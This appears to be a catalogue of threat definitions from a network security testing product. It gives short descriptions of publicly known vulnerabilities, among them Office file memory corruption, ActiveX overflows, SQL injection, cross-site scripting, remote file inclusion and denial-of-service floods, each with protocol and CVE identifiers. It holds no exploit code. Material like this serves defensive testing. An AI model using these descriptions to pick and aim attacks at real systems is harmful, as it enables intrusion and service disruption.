Detailed Description:	This threat causes a crash in the server portion of the video game "Breed". This is done by sending an empty UDP packet to port 7649.
Protocol Type:	Proprietary
CVEID:	CVE-2005-0382
OSVDB:	12897
Threat Package:	Standard
Threat File Name:	TSL20080812-12_Microsoft_Excel_FORMAT_Record_Array_Index_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel FORMAT Record Array Index Memory Corruption(IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to insufficient validation of an index value when parsing the FORMAT record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2008-3005
OSVDB:	68905
Threat File Name:	proxy_localhost_IPv6.xml
Executive Description:	Proxy Connect to localhost (IPv6 Version)
Detailed Description:	This threat allows an attacker to bypass firewall rules through an HTTP based proxy. By specifying a listening socket on localhost, the proxy can allow a user to connect to ports typically firewalled off. This can lead to further exploitation of services thought protected by other access control lists and firewall rules. HTTP proxies listen on a number of ports, including 80, 8080, and 8888. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2729
Threat Package:	Standard
Threat File Name:	TSL20160204-03_Schneider_Electric_ProClima_FlBookView_Attach_Memory_Corruption.xml
Executive Description:	Schneider Electric ProClima FlBookView Attach Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. This vulnerability is due to mishandling of the Title parameter when the Attach() method of the FlBookView ActiveX control is called. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a maliciously crafted web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2015-7918
Threat File Name:	amx_vnc_activex_bof_IPv6.xml
Executive Description:	AMX Corp. VNC ActiveX Control (AmxVnc.dll 1.0.13.0) remote buffer overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AMX Corp VNC ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3536
Threat Package:	Standard
Threat File Name:	opera_bittorrent_dos_IPv6.xml
Executive Description:	Opera 9.2 torrent file remote denial of service vulnerability (IPv6 Version)

Detailed Description:	This threat uses a specially crafted bittorrent file cause a denial of service condition in Opera Web browser. Opera is a web browser that typically connects to http servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2274
Threat Package:	Standard
Threat File Name:	FSC20100702-05_Microsoft_IIS_Directory_Authentication_Security_Bypass_IPv6.xml
Executive Description:	Microsoft IIS Directory Authentication Security Bypass (IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in Microsoft Internet Information Services. The vulnerability is due to an error while processing HTTP requests for resources protected by access control mechanisms. If the protected directory resides on a NTFS file system, and the NTFS name and stream type are included in the directory name in an HTTP request, then information in protected directories can be accessed without authentication. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted HTTP requests to a vulnerable Microsoft IIS server. Successful exploitation would allow the attacker to bypass security checks to list, and download files from a vulnerable system.
Protocol Type:	IPv6,HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	wordpress_rfi_IPv6.xml
Executive Description:	myGallery 1.2.1(myPath)Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a standard remote file inclusion flaw against mygallerybrowser.php's myPath argument, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080812-28_Microsoft_Office_PICT_Filter_Invalid_Length_Memory_Corruption.xml
Executive Description:	Microsoft Office PICT Filter Invalid Length Memory Corruption
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PICT Filter. The vulnerability is due to an error in handling a PICT image file. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to open a specially crafted PICT file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3018
Threat Package:	Standard
Threat File Name:	FSC20100610-01_Microsoft_Windows_Help_And_Support_Center_Trusted_Document_Whitelist_Bypass.xml
Executive Description:	Microsoft Windows Help And Support Center Trusted Document Whitelist Bypass
Detailed Description:	A policy bypass vulnerability exists in Microsoft Windows Help And Support Center. The vulnerability is due to insufficient input validation of hcp:// URIs. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a maliciously crafted URI. In scenarios where policy bypass is successful, an attacker can execute arbitrary code within the security context of the logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP
CVEID:	CVE-2010-1885
Threat Package:	Standard
Threat File Name:	TSL20110210-01_HP_OpenView_Network_Node_Manager_ovutil_dll_stringToSeconds_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager ovutil.dll stringToSeconds Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the stringToSeconds function defined in the ovutil.dll when processing crafted HTTP request parameters. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0262
Threat File Name:	wsftp_IPv6.xml
Executive Description:	WS_FTP Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a CWD FTP command to a vulnerable FTP server, known to cause it to crash. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-1999-0362
OSVDB:	937
Threat Package:	Standard
Threat File Name:	sipspacereqend_IPv6.xml
Executive Description:	SIPPING: Multiple Spaces at Request Line End (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with multiple spaces at the end of the request line. This is invalid although an implementation may try to compensate for it. Because it is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	qt_qtif_idsc_IPv6.xml
Executive Description:	Quicktime Image Malformed IDSC Header (IPv6 Version)
Detailed Description:	This threat is a malformed QTIF image that causes a heap overflow in Apple Quicktime. This can be used to cause code execution. This threat typically comes from web servers over port 80. It is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2340
OSVDB:	22333
Threat Package:	Standard

Threat File Name:	TSL20110614-30_Adobe_Flash_Player_ActionScript_Function_Variable_Arguments_Information_Disclosure_IPv6.xml
Executive Description:	Adobe Flash Player ActionScript Function Variable Arguments Information Disclosure(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player 10. The vulnerability is due to information disclosure when passing variable length arguments to an ActionScript function. The vulnerability could allow a remote attacker to access arbitrary memory locations in ActionScript in order to execute arbitrary code on the affected system through techniques such as forced type confusion. When code execution is successful, the behaviour of the compromised host is dependent on the intention of the attacker. Unsuccessful attack attempts are most likely to go undetected, however, in some cases they might crash the Flash plugin due to access violation. This vulnerability is being exploited in the wild in targeted attacks via malicious web pages.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-2110
Threat File Name:	FSC20081125-17_WordPress_RSS_Feed_Generator_self_link_HTTP_HOST_Cross-Site_Scripting.xml
Executive Description:	WordPress RSS Feed Generator self_link HTTP_HOST Cross-Site Scripting
Detailed Description:	There exists a cross-site script insertion vulnerability in WordPress. The vulnerability is due to lack of sanitization for data supplied in the HTTP Host header. Remote attackers can exploit this vulnerability to execute arbitrary HTML and script code in the users' browser sessions in the context of the vulnerable web site. A successful attack will inject malicious HTML or script code in the target server RSS feed. If the URL in the RSS feed is opened on a client's browser, the arbitrary HTML and script code would be executed in the user's browser session, in the security context of the affected Web site.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-5278
Threat Package:	Standard
Threat File Name:	BGPopenFlood_IPv6.xml
Executive Description:	BGP Open Flood (IPv6 Version)
Detailed Description:	This is a flood of the Border Gateway Protocol's session initiating message. BGP typically uses port TCP 179. (IPv6 Version)
Protocol Type:	BGP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090811-09_Microsoft_Windows_AVI_File_Chunk_Length_Integer_Overflow.xml
Executive Description:	Microsoft Windows AVI File Chunk Length Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows AVI File API. The vulnerability is due to a boundary error when parsing crafted AVI files containing overly large length fields. An attacker could exploit this vulnerability by enticing a target user to open a malicious AVI file. Successful exploitation can lead to injection and execution of arbitrary code in the security context of the currently logged in user. The behaviour of the target host is entirely dependent on the intended function of the injected code. In an attack case where code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP
CVEID:	CVE-2009-1546
Threat Package:	Standard
Threat File Name:	TSL20161213-01_Microsoft_Windows_Uniscribe_Integer_Overflow.xml
Executive Description:	Microsoft Windows Uniscribe Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows Uniscribe component. The vulnerability is due to improper handling of Format 14 cmap subtable in font files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page or document. Successful exploitation could result in arbitrary code execution under the security context of the logged in user.
Protocol Type:	HTTP, HTTPS, SMB/CIFS, IMAP, POP3, SMTP
CVEID:	CVE-2016-7274
Threat File Name:	FSC20060316-09_Microsoft_Internet_Explorer_Script_Action_Handler_Buffer_Overflow.xml
Executive Description:	Microsoft Internet Explorer Script Action Handler Buffer Overflow
Detailed Description:	A vulnerability has been identified in Microsoft Internet Explorer. The vulnerability is created by insufficient validation of user supplied event handler assignments. An attacker can potentially exploit this vulnerability to inject and execute arbitrary code on a vulnerable host.
Protocol Type:	HTTP
CVEID:	CVE-2006-1245
Threat Package:	Standard
Threat File Name:	sipinvite2543.xml
Executive Description:	SIPPING: RFC 2543 INVITE
Detailed Description:	This threat sends out a SIP INVITE message using the old RFC 2543 standards. This should be accepted in a backwards-compatible implementation, but otherwise it may confuse or crash the implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	messenger_spam.xml
Executive Description:	Microsoft Messenger Advertisement
Detailed Description:	This threat attempts to cause a pop-up to occur on an end user's machine, advertising software available for download. Since this protocol is UDP based, it is effectively used as a mass marketing device. The messenger service is tied to MS-RPC, so any RPC port will work (typically port 1026).
Protocol Type:	DCOM
Threat Package:	Standard
Threat File Name:	jetbox_cms_rfi_IPv6.xml
Executive Description:	Jetbox CMS Search_function.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Jetbox CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4422
OSVDB:	28299
Threat Package:	Standard

Threat File Name:	wizzforum_sqlil.xml
Executive Description:	Wizz Forum SQL Injection vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3682
OSVDB:	20845
Threat Package:	Standard
Threat File Name:	TSL20120814-20_Adobe_Reader_and_Acrobat_WKT_String_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Reader and Acrobat WKT String Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat which can allow an attacker to take control of a target system. The vulnerability is due to lack of bounds checking when parsing certain Well Known Text (WKT) strings within a PDF document. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	IPv6_HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-2050
OSVDB:	84615
Threat File Name:	yourfreeworld_htmlinject.xml
Executive Description:	YourFreeWorld Short Url & Url Tracker Script HTML Injection
Detailed Description:	This threat sends a crafted url containing HTML and script code to be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. YourFreeWorld is a web based application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	Confixxpro_XSS_IPv6.xml
Executive Description:	Confixx Pro ftplogin login Variable XSS (IPv6 Version)
Detailed Description:	Confixx Pro contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the "login" variable upon submission to the ftplogin/ script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser. ConfixxPro is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	25525
Threat Package:	Standard
Threat File Name:	TSL20150310-39_Microsoft_Windows_Adobe_Font_Driver_CVE-2015-0092_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Adobe Font Driver CVE-2015-0092 Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Adobe Font Driver. The vulnerability is due to improper overwrite of objects in memory when processing crafted fonts. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to view a maliciously crafted font in an application that utilizes the affected library. Successful exploitation of this vulnerability would result in arbitrary code execution within the Kernel. In the case of an unsuccessful code injection attack, the affected system will crash, causing a denial of service condition.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2015-0092
OSVDB:	119363
Threat File Name:	phpim_cmi_IPv6.xml
Executive Description:	PHPIM Remote Command Injection /SQL Injection Flaw (IPv6 Version)
Detailed Description:	This threat leverages a cookie based SQL injection flaw, to insert php code, which is then executed by the server. PHPIM is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040830-01_zlib_Denial_of_Service.xml
Executive Description:	zlib Denial of Service
Detailed Description:	A vulnerability exists in the inflate() and inflateback() functions of the zlib library. This vulnerability is caused by insufficient error handling during the pattern expansion of compressed data. An attacker can leverage this vulnerability to create a denial of service condition, or with a high level of sophistication, possibly execute an arbitrary code.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2004-0797
Threat Package:	Standard
Threat File Name:	TCPfinack.xml
Executive Description:	TCP FIN/ACK packet
Detailed Description:	This threat sends a flood of empty TCP packets with the FIN and ACK flags set, causing a variety of problems in the Windows kernel by causing a memory leak.
Protocol Type:	TCP
CVEID:	CVE-2002-1712
OSVDB:	21598
Threat Package:	Standard
Threat File Name:	TSL20170112-09_Aerospike_Database_Server_as_sindex_simatch_list_by_set_binid_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Aerospike Database Server as_sindex_simatch_list_by_set_binid Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Aerospike Database Server. This vulnerability is due to improper bounds checking of user-supplied set name variable in as_sindex_simatch_list_by_set_binid() function in secondary_index.c. A remote attacker could exploit these vulnerabilities by sending a maliciously crafted packet to the vulnerable server. Successful exploitation of these vulnerabilities could lead to arbitrary code execution.
Protocol Type:	Aerospike Database Server, IPv6
CVEID:	CVE-2016-9054

Threat File Name:	FSC20080812-08_Microsoft_PowerPoint_Viewer_Memory_Allocation_Code_Execution.xml
Executive Description:	Microsoft PowerPoint Viewer Memory Allocation Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint Viewer. The vulnerability is due to a memory allocation error while handling malformed picture index in a PowerPoint file. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious PowerPoint file, potentially causing arbitrary code to be executed in the security context of the currently logged in user. In an attack scenario, where arbitrary code is attempted to be injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of the attack attempt. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0120
Threat Package:	Standard
Threat File Name:	FSC20101109-04_Microsoft_Office_PowerPoint_TimeVariant_Record_Integer_Underflow.xml
Executive Description:	Microsoft Office PowerPoint TimeVariant Record Integer Underflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to an integer underflow error while processing specially crafted PowerPoint files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2573
Threat File Name:	FSC20080424-11_IBM_Lotus_Expeditior_cai_URI_Handler_Command_Execution_IPv6.xml
Executive Description:	IBM Lotus Expeditior cai URI Handler Command Execution (IPv6 Version)
Detailed Description:	There exist a buffer overflow vulnerability in IBM Lotus Symphony and Lotus Expeditior. The vulnerability is due to improper handling of "cai:" URIs in the Lotus Expeditior rcplauncher code that the Lotus Symphony utilizes. A remote user can exploit this vulnerability by creating a specially crafted 'cai:' URI and enticing the target user to load it. Successful exploitation will allow execution of arbitrary code on the target system. The code will run with the privileges of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1965
Threat Package:	Standard
Threat File Name:	FSC20080909-05_Microsoft_Windows_Media_Encoder_9_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Media Encoder 9 ActiveX Control Buffer Overflow
Detailed Description:	There exists a stack buffer overflow in Microsoft Windows Media Encoder product. The vulnerability is due to a boundary error while handling an overly large parameter passed to a function exposed by an ActiveX control of WMEX.DLL library. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would cause a stack-based buffer overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3008
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RandstringFilename_WRQ_OCTET.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_OCTET.xml
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ and Mode is octet
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20071210-01_3ivx_MPEG-4_MP4_File_Handling_Stack_Overflow.xml
Executive Description:	3ivx MPEG-4 MP4 File Handling Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in 3ivx MPEG-4. Specifically, the vulnerability is due to improper handling of MP4 files by the 3ivx MPEG-4 codec plugin. A remote attacker can exploit this vulnerability by enticing the target user to open crafted MP4 file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6402
Threat Package:	Standard
Threat File Name:	firefoxPopupInject.xml
Executive Description:	Firefox Blocked Popup Code Injection
Detailed Description:	This attack injects Javascript code into the popup blocker dialog. If the user chooses to allow this popup window, the Javascript runs with elevated privileges allowing the attacker to control the browser and computer. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1153
OSVDB:	15684
Threat Package:	Standard
Threat File Name:	FSC20090522-05_Novell_GroupWise_Internet_Agent_SMTP_AUTH_LOGIN_Command_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Internet Agent SMTP AUTH LOGIN Command Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Novell GroupWise. The vulnerability is due to an error while processing specially crafted SMTP AUTH LOGIN requests. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2009-1636

Threat Package:	Standard
Threat File Name:	TSL20170413-03_Magento_Vimeo_Invalid_Image_Cross_Site_Request_Forgery.xml
Executive Description:	Magento Vimeo Invalid Image Cross Site Request Forgery
Detailed Description:	A cross-site request forgery vulnerability has been reported in Magento. The vulnerability is due to insufficient CSRF protections, that enables an attacker to upload arbitrary files (including PHP files) to a target server. A remote attacker can exploit this vulnerability by enticing a target authenticated user to visit a page. Successful exploitation could allow the attacker to execute arbitrary code with the privileges of Magento.
Protocol Type:	HTTP,HTTPS
Threat File Name:	FSC20060403-11_Microsoft_Internet_Explorer_Plugin_Loading_Address_Bar_Spoofing_IPv6.xml
Executive Description:	Microsoft Internet Explorer Plugin Loading Address Bar Spoofing (IPv6 Version)
Detailed Description:	An address bar spoofing vulnerability exists in the Microsoft Internet Explorer. The vulnerability is specific to improperly handling resources that require a plugin to be processed. This flaw can be used to spoof the address bar of the browser to mislead a user as to the origin of a resource. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1626
Threat Package:	Standard
Threat File Name:	FSC20100830-03_RealNetworks_RealPlayer_FLV_Parsing_Two_Integer_Overflow_Vulnerabilities_IPv6.xml
Executive Description:	RealNetworks RealPlayer FLV Parsing Two Integer Overflow Vulnerabilities (IPv6 Version)
Detailed Description:	Two remote code execution vulnerabilities exists in RealNetworks RealPlayer. The vulnerabilities are due to two integer overflow errors while parsing the ECMA Array and the Strict Array type data in FLV files. An attacker can leverage this vulnerability by enticing a target user to open a crafted IVR file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2010-3000
Threat Package:	Standard
Threat File Name:	FSC20060413-05_Novell_GroupWise_Messenger_Accept-Language_Header_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Messenger Accept-Language Header Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in the Novell GroupWise Messenger product. The vulnerability is caused due to a flaw when verifying specific HTTP headers supplied by the client. An unauthenticated attacker may exploit this vulnerability to inject and execute code on a target host with System privileges. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0992
Threat Package:	Standard
Threat File Name:	TSL20170116-01_Tarantool_xrow_header_decode_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Tarantool xrow_header_decode Out of Bounds Read (IPv6 Version)
Detailed Description:	An OOB read vulnerability has been reported in the xrow_header_decode function of Tarantool. This vulnerability is due to incorrect handling of objects in memory when trying to determine the type of a key. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted packet to the vulnerable server. Successful exploitation results in denial of service conditions.
Protocol Type:	Tarantool Binary Protocol, IPv6
CVEID:	CVE-2016-9037
Threat File Name:	FSC20101214-35_Microsoft_Office_CGM_Image_Converter_Buffer_Overflow.xml
Executive Description:	Microsoft Office CGM Image Converter Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office allocates a buffer size when handling CGM image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3945
Threat File Name:	lupper26.xml
Executive Description:	Lupper Worm 26
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	ping_o_death.xml
Executive Description:	Ping Of Death
Detailed Description:	This threat issues out a fragmented ICMP Ping packet that is longer than the possible maximum length. This threat is known to cause various operating systems to crash when attempting to reconstruct the ping packet.
Protocol Type:	ICMP
CVEID:	CVE-1999-0128
OSVDB:	11454
Threat Package:	Standard
Threat File Name:	NOOPudpSPARC2.xml
Executive Description:	UDP NOOP Variant SPARC 2
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard

Threat File Name:	news_rover_bof_IPv6.xml
Executive Description:	News Rover Subject Line Stack Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a http server to deliver a malicious nzb file resulting in a buffer overflow and code execution in the News Rover client application. News Rover is a client application, this threat uses a web server listening on port 80 to deliver the payload. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	cyrus_imap_login.xml
Executive Description:	Cyrus imapd LOGIN Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the LOGIN IMAP command on a Cyrus IMAP server. Can be used for remote access to the server.
Protocol Type:	IMAP
CVEID:	CVE-2002-1580
OSVDB:	14093
Threat Package:	Standard
Threat File Name:	novell_edirectory.xml
Executive Description:	Novel eDirectory iMonitor Buffer Overflow
Detailed Description:	This threat sends a HTTP GET request with a large buffer. This allows a remote attacker to inject and run code in the context of the webserver. Novell eDirectory is a HTTP server that typically listens on the proprietary port 8008.
Protocol Type:	HTTP
CVEID:	CVE-2005-2551
OSVDB:	18703
Threat Package:	Standard
Threat File Name:	veritas_clientconnect.xml
Executive Description:	Veritas Backup Exec CLIENT_CONNECT Overflow
Detailed Description:	This threat causes remote code to be executed on the target machine through a flaw in the backup exec agent program. Backup Exec Agent typically listens on port 10000.
Protocol Type:	Proprietary
CVEID:	CVE-2005-0773
OSVDB:	17624
Threat Package:	Standard
Threat File Name:	TSL20121207-01_Sophos_Anti-Virus_RAR_VMSF_DELTA_Filter_Signedness_Error.xml
Executive Description:	Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error
Detailed Description:	An signedness error vulnerability exists in Sophos Anti-Virus. The vulnerability is due to insufficient validation of one of the parameters of the VMSF_DELTA filter while parsing RAR files. The vulnerable code calculates new values from this parameter resulting in a memory corruption. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted RAR file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87061
Threat File Name:	FSC20090512-13_Microsoft_Office_PowerPoint_Notes_Container_Heap_Corruption.xml
Executive Description:	Microsoft Office PowerPoint Notes Container Heap Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to the way that PowerPoint handles HashCode10Atom records inside of NotesContainer records in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1130
Threat Package:	Standard
Threat File Name:	FSC20041104-01_Cisco_Secure_ACS_EAP-TLS_Authentication_Bypass_Vulnerability.xml
Executive Description:	Cisco Secure ACS EAP-TLS Authentication Bypass Vulnerability
Detailed Description:	A vulnerability exists in the certificate validation mechanism of the Cisco Secure Access Control Server (ACS) when the authentication method used is EAP-TLS. In the authentication process, if ACS receives any correctly formed certificate with a valid username, it fails to further verify the certificate validity. Therefore, an attacker can use an invalid but cryptographically correct certificate to bypass the authentication mechanism.
Protocol Type:	RADIUS
CVEID:	CVE-2004-1099
Threat Package:	Standard
Threat File Name:	TSL20150909-11_Advantech_WebAccess_Webdobj_ActiveX_UpdateProject_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess Webdobj ActiveX UpdateProject Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of one of the UpdateProject's arguments in the Webdobj ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9208
Threat File Name:	FSC20080610-15_Microsoft_Internet_Explorer_HTML_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Objects Memory Corruption (IPv6 Version)

Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Internet Explorer. The vulnerability is due to improper validation of the length value passed to a certain method call to an HTML object. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1442
Threat Package:	Standard
Threat File Name:	metacart2_sqlinject.xml
Executive Description:	MetaCart2 SQL Injection
Detailed Description:	This threat performs a SQL injection attack on the MetaCart2 web application. SQL injection can be used to gain access to information not visible to regular web users, including authentication information. This application is designed for Microsoft IIS, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1362
OSVDB:	15874
Threat Package:	Standard
